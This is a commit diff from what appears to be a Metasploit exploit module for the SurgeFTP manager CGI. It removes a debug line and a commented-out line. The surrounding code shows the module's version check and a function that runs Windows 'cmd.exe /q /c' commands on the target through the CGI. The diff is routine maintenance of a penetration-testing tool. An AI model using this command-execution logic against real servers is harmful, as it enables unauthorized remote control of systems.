Oops, didn't mean to keep these lines
parent
ca72132fc0
commit
49248c79d6
|
@ -53,7 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
|
||||
print_line(Rex::Text.to_hex_dump(res.body))
|
||||
if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
|
@ -63,7 +62,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def execute_command(cmd, opts)
|
||||
# Unfortunately we can't use env vars
|
||||
#cmd = cmd.gsub(/\%TEMP\%\\/, 'C:\\')
|
||||
cmd = cmd.gsub(/\%TEMP\%\\/, datastore['FOLDER'])
|
||||
http_send_command("cmd.exe /q /c #{cmd}")
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue